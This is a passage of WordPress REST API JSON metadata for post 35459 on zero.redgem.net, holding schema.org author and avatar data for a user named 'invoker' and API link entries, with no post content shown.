redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/35459","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=35459"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/35459\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=35459"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=35459"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=35459"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}